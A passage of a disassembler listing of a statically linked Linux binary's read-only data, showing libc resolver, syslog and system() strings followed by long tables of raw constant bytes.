					; DATA XREF: getanswer+263o
aGethostby_ge_0	db 'gethostby*.getanswer: asked for type %d(%s), got %d(%s)',0
					; DATA XREF: getanswer+3B1o
aSizeDTooBig	db 'size (%d) too big',0Ah,0 ; DATA XREF: getanswer+55Fo
aTooManyAddress	db 'Too many addresses (%d)',0Ah,0 ; DATA XREF: getanswer+59Ao
aHosts_byname	db 'hosts.byname',0     ; DATA XREF: sub_804BEB0+6Co
					; gethostbyname+22Eo ...
aRes_searchFail	db 'res_search failed',0Ah,0 ; DATA XREF: gethostbyname+15Do
aU_U_U_U_inAddr	db '%u.%u.%u.%u.in-addr.arpa',0 ; DATA XREF: gethostbyaddr+AEo
aRes_queryFaile	db 'res_query failed',0Ah,0 ; DATA XREF: gethostbyaddr+E3o
aResolv		db 'resolv',0           ; DATA XREF: gethostbyaddr+202o
aGethostbyaddrS	db 'gethostbyaddr: %s != %u.%u.%u.%u, possible spoof attempt',0
					; DATA XREF: gethostbyaddr+225o
aU_U_U_U_0	db '%u.%u.%u.%u',0      ; DATA XREF: gethostbyaddr+2B6o
aHosts_byaddr	db 'hosts.byaddr',0     ; DATA XREF: gethostbyaddr+2C1o
asc_8067BFB	db '#',0Ah,0            ; DATA XREF: sub_804C5A4+71o
asc_8067BFE	db '/&',0               ; DATA XREF: res_init+4E8o
					; res_init+549o
aLocaldomain	db 'LOCALDOMAIN',0      ; DATA XREF: res_init+C0o
aR_0		db 'r',0                ; DATA XREF: res_init+170o
aEtcResolv_conf	db '/etc/resolv.conf',0 ; DATA XREF: res_init+175o
aDomain		db 'domain',0           ; DATA XREF: res_init+1D3o
asc_8067C27	db ' ',9,0Ah,0          ; DATA XREF: res_init+251o
aSearch		db 'search',0           ; DATA XREF: res_init+27Eo
aNameserver	db 'nameserver',0       ; DATA XREF: res_init+396o
aSortlist	db 'sortlist',0         ; DATA XREF: res_init+45Ao
aOptions	db 'options',0          ; DATA XREF: res_init+606o
aConf		db 'conf',0             ; DATA XREF: res_init+638o
aRes_options	db 'RES_OPTIONS',0      ; DATA XREF: res_init+6EEo
aEnv		db 'env',0              ; DATA XREF: res_init+701o
aRes_setoptions	db ';; res_setoptions("%s", "%s")...',0Ah,0 ; DATA XREF: res_setoptions+1Do
aNdots		db 'ndots:',0           ; DATA XREF: res_setoptions+3Do
aNdotsD		db ';;',9,'ndots=%d',0Ah,0 ; DATA XREF: res_setoptions+92o
aDebug		db 'debug',0            ; DATA XREF: res_setoptions+A6o
aRes_setoptio_0	db ';; res_setoptions("%s", "%s")..',0Ah,0 ; DATA XREF: res_setoptions+C3o
aDebug_0	db ';;',9,'debug',0Ah,0 ; DATA XREF: res_setoptions+D7o
aRes_querySDD	db ';; res_query(%s, %d, %d)',0Ah,0 ; DATA XREF: sub_804DFE0+4Fo
aRes_queryMkque	db ';; res_query: mkquery failed',0Ah,0 ; DATA XREF: sub_804DFE0+8Do
aRes_querySendE	db ';; res_query: send error',0Ah,0 ; DATA XREF: sub_804DFE0+CFo
aRcodeDAncountD	db ';; rcode = %d, ancount=%d',0Ah,0 ; DATA XREF: sub_804DFE0+119o
aNil		db '<Nil>',0            ; DATA XREF: sub_804E398+57o
aRes_querydomai	db ';; res_querydomain(%s, %s, %d, %d)',0Ah,0 ; DATA XREF: sub_804E398+5Eo
; static a_S(void)
a_S__S		db '%.*s.%.*s',0        ; DATA XREF: sub_804E398+C0o
aHostaliases	db 'HOSTALIASES',0      ; DATA XREF: sub_804E490+19o
aR_1		db 'r',0                ; DATA XREF: sub_804E490+2Eo
aRes_sendSS_US	db 'res_send: %s ([%s].%u): %s',0Ah,0 ; DATA XREF: sub_804E638+3Fo
aRes_sendSS	db 'res_send: %s: %s',0Ah,0 ; DATA XREF: sub_804E694+26o
aRes_send	db ';; res_send()',0Ah,0 ; DATA XREF: sub_804EA0C+47o
aQueryingServer	db ';; Querying server (# %d) address = %s',0Ah,0
					; DATA XREF: sub_804EA0C+18Eo
aSocketVc	db 'socket(vc)',0       ; DATA XREF: sub_804EA0C+AA5o
aConnectVc	db 'connect/vc',0       ; DATA XREF: sub_804EA0C+24Co
aWriteFailed	db 'write failed',0     ; DATA XREF: sub_804EA0C+2CAo
aReadFailed	db 'read failed',0      ; DATA XREF: sub_804EA0C+346o
aResponseTrunca	db ';; response truncated',0Ah,0 ; DATA XREF: sub_804EA0C+3B3o
aReadVc		db 'read(vc)',0         ; DATA XREF: sub_804EA0C+438o
aSocketDg	db 'socket(dg)',0       ; DATA XREF: sub_804EA0C+AC4o
aConnectDg	db 'connect(dg)',0      ; DATA XREF: sub_804EA0C+550o
aSend		db 'send',0             ; DATA XREF: sub_804EA0C+58Do
aSendto		db 'sendto',0           ; DATA XREF: sub_804EA0C+63Bo
aSelect		db 'select',0           ; DATA XREF: sub_804EA0C+6FBo
aTimeout	db ';; timeout',0Ah,0   ; DATA XREF: sub_804EA0C+715o
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_804EA0C+782o
aOldAnswer	db ';; old answer:',0Ah,0 ; DATA XREF: sub_804EA0C+7D4o
aNotOurServer	db ';; not our server:',0Ah,0 ; DATA XREF: sub_804EA0C+82Ao
aWrongQueryName	db ';; wrong query name:',0Ah,0 ; DATA XREF: sub_804EA0C+877o
aServerRejected	db 'server rejected query:',0Ah,0 ; DATA XREF: sub_804EA0C+8C2o
aTruncatedAnswe	db ';; truncated answer',0Ah,0 ; DATA XREF: sub_804EA0C+925o
aGotAnswer	db ';; got answer:',0Ah,0 ; DATA XREF: sub_804EA0C+966o
unk_8067EE3	db    0	;		; DATA XREF: sub_804EA0C+98Ao
aNull		db '(null)',0           ; DATA XREF: vfprintf+12CCo
					; vfprintf+2D10o
unk_8067EEB	db    0	;		; DATA XREF: vfprintf+12E0o
					; vfprintf+2D24o
aNil_0		db '(nil)',0            ; DATA XREF: vfprintf+1464o
					; vfprintf+2EE4o
aN6		db '█6',0               ; DATA XREF: sub_8052DE8+43o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C0h	; ю
		db  1Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db  2Dh	; -
		db    5	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db  1Bh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db  23h	; #
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  2Ch	; ,
		db  1Ch	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ch	; L
		db  1Dh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  30h	; 0
		db  20h	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C8h	; х
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  44h	; D
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db  1Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db  1Eh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B8h	; ╦
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C4h	; д
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db  24h	; $
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0B4h	; Є
		db  1Fh	;  
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db  24h	; $
		db    6	;  
		db    8	;  
unk_8067F84	db  4Eh	; N		; DATA XREF: sub_8053310+1A5o
		db  61h	; a
		db  4Eh	; N
		db    0	;  
unk_8067F88	db  49h	; I		; DATA XREF: sub_8053310+131o
					; sub_8053310+1CCo
		db  6Eh	; n
		db  66h	; f
		db    0	;  
aSyslog		db 'syslog',0           ; DATA XREF: sub_8054E54+34o
aD_15s		db '<%d>%.15s ',0       ; DATA XREF: sub_8054EC8+8Ao
aD		db '[%d]',0             ; DATA XREF: sub_8054EC8+F9o
aTruncated	db '[truncated] ',0     ; DATA XREF: sub_8054EC8+17Co
					; sub_8054EC8+1F1o ...
aS		db '%s',0               ; DATA XREF: sub_8054EC8+1D9o
asc_8067FB3	db 0Ah,0		; DATA XREF: sub_8054EC8+2FFo
aDevConsole	db '/dev/console',0     ; DATA XREF: sub_8054EC8+387o
asc_8067FC2	db 0Dh,0Ah,0		; DATA XREF: sub_8054EC8+39Ao
aDevLog		db '/dev/log',0         ; DATA XREF: sub_80552B0+41o
aSh_0		db 'sh',0               ; DATA XREF: system+DDo
aC_0		db '-c',0               ; DATA XREF: system+E4o
aBinSh_0	db '/bin/sh',0          ; DATA XREF: system+129o
unk_8067FDC	db    0	;		; DATA XREF: .rodata:08068DACo
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_8067FE8	db    0	;		; DATA XREF: .rodata:08068DBCo
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  64h	; d
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  10h	;  
		db  27h	; '
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0E1h	; А
		db 0F5h	; У
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0C1h	; а
		db  6Fh	; o
		db 0F2h	; Р
		db  86h	; ├
		db  23h	; #
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  81h	; │
		db 0EFh	; О
		db 0ACh	; ╛
		db  85h	; ┘
		db  5Bh	; [
		db  41h	; A
		db  6Dh	; m
		db  2Dh	; -
		db 0EEh	; Н
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db  1Fh	;  
		db  6Ah	; j
		db 0BFh	; ©
		db  64h	; d
		db 0EDh	; М
		db  38h	; 8
		db  6Eh	; n
		db 0EDh	; М
		db  97h	; ≈
		db 0A7h	; ї
		db 0DAh	; з
		db 0F4h	; Т
		db 0F9h	; Ы
		db  3Fh	; ?
		db 0E9h	; И
		db    3	;  
		db  4Fh	; O
		db  18h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db  3Eh	; >
		db  95h	; ∙
		db  2Eh	; .
		db    9	;  
		db  99h	; ≥
		db 0DFh	; ъ
		db    3	;  
		db 0FDh	; Щ
		db  38h	; 8
		db  15h	;  
		db  0Fh	;  
		db  2Fh	; /
		db 0E4h	; Д
		db  74h	; t
		db  23h	; #
		db 0ECh	; Л
		db 0F5h	; У
		db 0CFh	; о
		db 0D3h	; с
		db    8	;  
		db 0DCh	; э
		db    4	;  
		db 0C4h	; д
		db 0DAh	; з
		db 0B0h	; ╟
		db 0CDh	; м
		db 0BCh	; ╪
		db  19h	;  
		db  7Fh	; 
		db  33h	; 3
		db 0A6h	; і
		db    3	;  
		db  26h	; &
		db  1Fh	;  
		db 0E9h	; И
		db  4Eh	; N
		db    2	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db  7Ch	; |
		db  2Eh	; .
		db  98h	; ≤
		db  5Bh	; [
		db  87h	; ┤
		db 0D3h	; с
		db 0BEh	; Ў
		db  72h	; r
		db  9Fh	; ÷
		db 0D9h	; ы
		db 0D8h	; ь
		db  87h	; ┤
		db  2Fh	; /
		db  15h	;  
		db  12h	;  
		db 0C6h	; ф
		db  50h	; P
		db 0DEh	; ч
		db  6Bh	; k
		db  70h	; p
		db  6Eh	; n
		db  4Ah	; J
		db 0CFh	; о
		db  0Fh	;  
		db 0D8h	; ь
		db  95h	; ∙
		db 0D5h	; у
		db  6Eh	; n
		db  71h	; q
		db 0B2h	; ╡
		db  26h	; &
		db 0B0h	; ╟
		db  66h	; f
		db 0C6h	; ф
		db 0ADh	; ґ
		db  24h	; $
		db  36h	; 6
		db  15h	;  
		db  1Dh	;  
		db  5Ah	; Z
		db 0D3h	; с
		db  42h	; B
		db  3Ch	; <
		db  0Eh	;  
		db  54h	; T
		db 0FFh	;  
		db  63h	; c
		db 0C0h	; ю
		db  73h	; s
		db  55h	; U
		db 0CCh	; л
		db  17h	;  
		db 0EFh	; О
		db 0F9h	; Ы
		db  65h	; e
		db 0F2h	; Р
		db  28h	; (
		db 0BCh	; ╪
		db  55h	; U
		db 0F7h	; В
		db 0C7h	; г
		db 0DCh	; э
		db  80h	; ─
		db 0DCh	; э
		db 0EDh	; М
		db  6Eh	; n
		db 0F4h	; Т
		db 0CEh	; н
		db 0EFh	; О
		db 0DCh	; э
		db  5Fh	; _
		db 0F7h	; В
		db  53h	; S
		db    5	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db 0F8h	; Ь
		db  6Ch	; l
		db 0FCh	; Э
		db  67h	; g
		db  72h	; r
		db 0F2h	; Р
		db  77h	; w
		db 0DCh	; э
		db  46h	; F
		db  95h	; ∙
		db  8Fh	; ▐
		db  6Fh	; o
		db  97h	; ≈
		db  96h	; √
		db  5Dh	; ]
		db  97h	; ≈
		db  8Ah	; ┼
		db  3Ah	; :
		db 0B8h	; ╦
		db 0D9h	; ы
		db  1Ah	;  
		db  1Eh	;  
		db 0C3h	; ц
		db  13h	;  
		db    5	;  
		db 0C4h	; д
		db  46h	; F
		db  47h	; G
		db  57h	; W
		db 0E6h	; Ф
		db  94h	; ■
		db 0C1h	; а
		db  76h	; v
		db  89h	; ┴
		db 0C8h	; х
		db  79h	; y
		db 0B5h	; ╣
		db  75h	; u
		db  44h	; D
		db  3Bh	; ;
		db  73h	; s
		db 0F8h	; Ь
		db  28h	; (
		db 0BFh	; ©
		db 0A1h	; ║
		db  1Dh	;  
		db 0AAh	; ╙
		db  21h	; !
		db 0D3h	; с
		db  3Eh	; >
		db  70h	; p
		db 0EAh	; Й
		db 0CFh	; о
		db  25h	; %
		db  1Eh	;  
		db  22h	; "
		db  2Fh	; /
		db  1Ah	;  
		db 0B2h	; ╡
		db  2Eh	; .
		db 0FBh	; Ш
		db  51h	; Q
		db 0BCh	; ╪
		db  5Dh	; ]
		db  4Fh	; O
		db 0E1h	; А
		db  96h	; √
		db 0ACh	; ╛
		db 0EDh	; М
		db 0A3h	; ё
		db 0BFh	; ©
		db 0AEh	; ў
		db  57h	; W
		db  9Ch	; °
		db  32h	; 2
		db  53h	; S
		db  71h	; q
		db 0FCh	; Э
		db 0E7h	; Г
		db  95h	; ∙
		db    6	;  
		db 0FCh	; Э
		db 0C3h	; ц
		db  24h	; $
		db  19h	;  
		db 0A9h	; ╘
		db  85h	; ┘
		db  5Eh	; ^
		db  63h	; c
		db  5Fh	; _
		db 0F9h	; Ы
		db 0E0h	; Ю
		db  8Eh	; ▌
		db  90h	; ░
		db 0B2h	; ╡
		db 0E4h	; Д
		db 0ADh	; ґ
		db 0ABh	; ╚
		db  93h	; ⌠
		db  2Ah	; *
		db  73h	; s
		db  66h	; f
		db  13h	;  
		db  5Ch	; \
		db  77h	; w
		db  49h	; I
		db  94h	; ■
		db  0Eh	;  
		db  5Bh	; [
		db 0BEh	; Ў
		db  69h	; i
		db 0ACh	; ╛
		db 0AFh	; ╞
		db  43h	; C
		db  73h	; s
		db  81h	; │
		db 0BCh	; ╪
		db  99h	; ≥
		db 0B0h	; ╟
		db  46h	; F
		db  1Dh	;  
		db 0A7h	; ї
		db  45h	; E
		db  48h	; H
		db  97h	; ≈
		db  69h	; i
		db 0A2h	; ╒
		db    3	;  
		db  73h	; s
		db 0B0h	; ╟
		db  8Ch	; ▄
		db  13h	;  
		db  1Fh	;  
		db  0Bh	;  
		db  8Ah	; ┼
		db  97h	; ≈
		db  8Ah	; ┼
		db 0ABh	; ╚
		db  8Ch	; ▄
		db 0D9h	; ы
		db  38h	; 8
		db 0D2h	; р
		db 0C1h	; а
		db 0D4h	; т
		db  15h	;  
		db  34h	; 4
		db  63h	; c
		db  1Ch	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db 0F0h	; П
		db  19h	;  
		db  29h	; )
		db  72h	; r
		db  2Bh	; +
		db  5Bh	; [
		db 0F5h	; У
		db  5Bh	; [
		db  21h	; !
		db  7Ch	; |
		db  6Eh	; n
		db  86h	; ├
		db  9Fh	; ÷
		db 0C2h	; б
		db  1Eh	;  
		db  87h	; ┤
		db  4Eh	; N
		db  1Ch	;  
		db  99h	; ≥
		db  88h	; ┬
		db  1Ah	;  
		db 0C5h	; е
		db  15h	;  
		db  35h	; 5
		db 0C5h	; е
		db  0Ah	;  
		db  14h	;  
		db  1Ah	;  
		db  1Eh	;  
		db  7Dh	; }
		db  4Ch	; L
		db  19h	;  
		db 0D8h	; ь
		db  2Ch	; ,
		db 0CCh	; л
		db  0Eh	;  
		db  44h	; D
		db 0D1h	; я
		db  0Eh	;  
		db 0EEh	; Н
		db  34h	; 4
		db  66h	; f
		db  89h	; ┴
		db 0FBh	; Ш
		db  6Ch	; l
		db 0E1h	; А
		db  7Dh	; }
		db  1Fh	;  
		db 0F6h	; Ж
		db  43h	; C
		db  1Eh	;  
		db  7Dh	; }
		db  83h	; ┐
		db 0CEh	; н
		db  9Fh	; ÷
		db  9Ch	; °
		db  2Bh	; +
		db  1Dh	;  
		db  23h	; #
		db 0C7h	; г
		db  55h	; U
		db  3Eh	; >
		db  23h	; #
		db 0D7h	; в
		db  60h	; `
		db 0DCh	; э
		db  65h	; e
		db  8Bh	; ▀
		db  21h	; !
		db  51h	; Q
		db 0F4h	; Т
		db  34h	; 4
		db 0D1h	; я
		db  5Ch	; \
		db  1Ch	;  
		db  86h	; ├
		db  59h	; Y
		db  63h	; c
		db 0C9h	; и
		db  9Fh	; ÷
		db 0BBh	; ╩
		db  2Bh	; +
		db  92h	; ▓
		db  31h	; 1
		db  94h	; ■
		db 0E8h	; Х
		db 0A7h	; ї
		db    7	;  
		db  2Ah	; *
		db  9Fh	; ÷
		db  9Fh	; ÷
		db  5Ah	; Z
		db  69h	; i
		db 0BEh	; Ў
		db  62h	; b
		db 0C4h	; д
		db  42h	; B
		db  10h	;  
		db  8Eh	; ▌
		db  74h	; t
		db  7Ah	; z
		db  5Bh	; [
		db    4	;  
		db 0E3h	; Ц
		db  1Dh	;  
		db 0BEh	; Ў
		db  1Ah	;  
		db 0A5h	; ╔
		db  22h	; "
		db 0D8h	; ь
		db  8Ah	; ┼
		db  11h	;  
		db 0C4h	; д
		db  34h	; 4
		db 0BAh	; ╨
		db    5	;  
		db 0B5h	; ╣
		db  14h	;  
		db 0D8h	; ь
		db 0B3h	; Ё
		db 0DEh	; ч
		db  3Fh	; ?
		db 0BFh	; ©
		db  16h	;  
		db  1Ah	;  
		db 0C5h	; е
		db  8Fh	; ▐
		db 0BCh	; ╪
		db  96h	; √
		db 0B8h	; ╦
		db 0B1h	; ╠
		db 0ECh	; Л
		db 0EEh	; Н
		db  6Dh	; m
		db 0F5h	; У
		db 0FDh	; Щ
		db  6Bh	; k
		db 0FBh	; Ш
		db  31h	; 1
		db  4Bh	; K
		db  65h	; e
		db 0F4h	; Т
		db 0B6h	; І
		db  16h	;  
		db  36h	; 6
		db  1Ah	;  
		db  10h	;  
		db 0FBh	; Ш
		db  95h	; ∙
		db  75h	; u
		db  6Bh	; k
		db 0FEh	; Ч
		db  47h	; G
		db  1Ah	;  
		db 0DCh	; э
		db  89h	; ┴
		db  80h	; ─
		db 0D9h	; ы
		db  80h	; ─
		db 0A5h	; ╔
		db 0A5h	; ╔
		db 0BDh	; Ґ
		db  80h	; ─
		db  82h	; ┌
		db  28h	; (
		db  20h	;  
		db  9Ah	;  
		db  66h	; f
		db  0Fh	;  
		db 0EBh	; К
		db  31h	; 1
		db  90h	; ░
		db  1Fh	;  
		db  8Fh	; ▐
		db 0FCh	; Э
		db  10h	;  
		db  33h	; 3
		db  6Ah	; j
		db  97h	; ≈
		db  7Eh	; ~
		db  7Bh	; {
		db  6Ah	; j
		db 0E2h	; Б
		db  8Ah	; ┼
		db  36h	; 6
		db  68h	; h
		db 0DFh	; ъ
		db 0B8h	; ╦
		db 0A0h	; ═
		db 0E3h	; Ц
		db  3Ch	; <
		db 0CEh	; н
		db  62h	; b
		db  42h	; B
		db  8Eh	; ▌
		db 0A2h	; ╒
		db  51h	; Q
		db 0A3h	; ё
		db  75h	; u
		db 0C9h	; и
		db 0B6h	; І
		db 0B0h	; ╟
		db  6Ch	; l
		db  83h	; ┐
		db  75h	; u
		db  59h	; Y
		db  44h	; D
		db  3Fh	; ?
		db  65h	; e
		db 0B5h	; ╣
		db  31h	; 1
		db  8Ah	; ┼
		db 0E3h	; Ц
		db  56h	; V
		db 0C3h	; ц
		db 0A6h	; і
		db 0ABh	; ╚
		db 0FAh	; З
		db  35h	; 5
		db 0A0h	; ═
		db 0FBh	; Ш
		db  90h	; ░
		db    1	;  
		db  52h	; R
		db 0EDh	; М
		db 0C4h	; д
		db  9Fh	; ÷
		db  1Bh	;  
		db  49h	; I
		db 0BCh	; ╪
		db  88h	; ┬
		db  4Ah	; J
		db  11h	;  
		db  40h	; @
		db  16h	;  
		db  41h	; A
		db  80h	; ─
		db  5Bh	; [
		db    0	;  
		db  5Eh	; ^
		db  23h	; #
		db 0F3h	; С
		db 0F4h	; Т
		db  49h	; I
		db  46h	; F
		db  8Dh	; █
		db  1Eh	;  
		db    6	;  
		db 0DEh	; ч
		db 0A8h	; ╗
		db  36h	; 6
		db  49h	; I
		db  53h	; S
		db 0C5h	; е
		db  73h	; s
		db  2Ah	; *
		db 0BDh	; Ґ
		db 0E6h	; Ф
		db 0A7h	; ї
		db  0Ch	;  
		db  97h	; ≈
		db 0A6h	; і
		db 0C1h	; а
		db  94h	; ■
		db  70h	; p
		db  18h	;  
		db  47h	; G
		db 0EFh	; О
		db  49h	; I
		db 0DBh	; ш
		db 0D2h	; р
		db  5Bh	; [
		db  3Fh	; ?
		db  6Ch	; l
		db  92h	; ▓
		db 0D4h	; т
		db    9	;  
		db  62h	; b
		db 0AEh	; ў
		db  49h	; I
		db  39h	; 9
		db  43h	; C
		db  2Dh	; -
		db 0C6h	; ф
		db 0A3h	; ё
		db 0F4h	; Т
		db  34h	; 4
		db  94h	; ■
		db  5Dh	; ]
		db  30h	; 0
		db 0D4h	; т
		db    5	;  
		db  1Ah	;  
		db 0D6h	; ж
		db 0D9h	; ы
		db  25h	; %
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
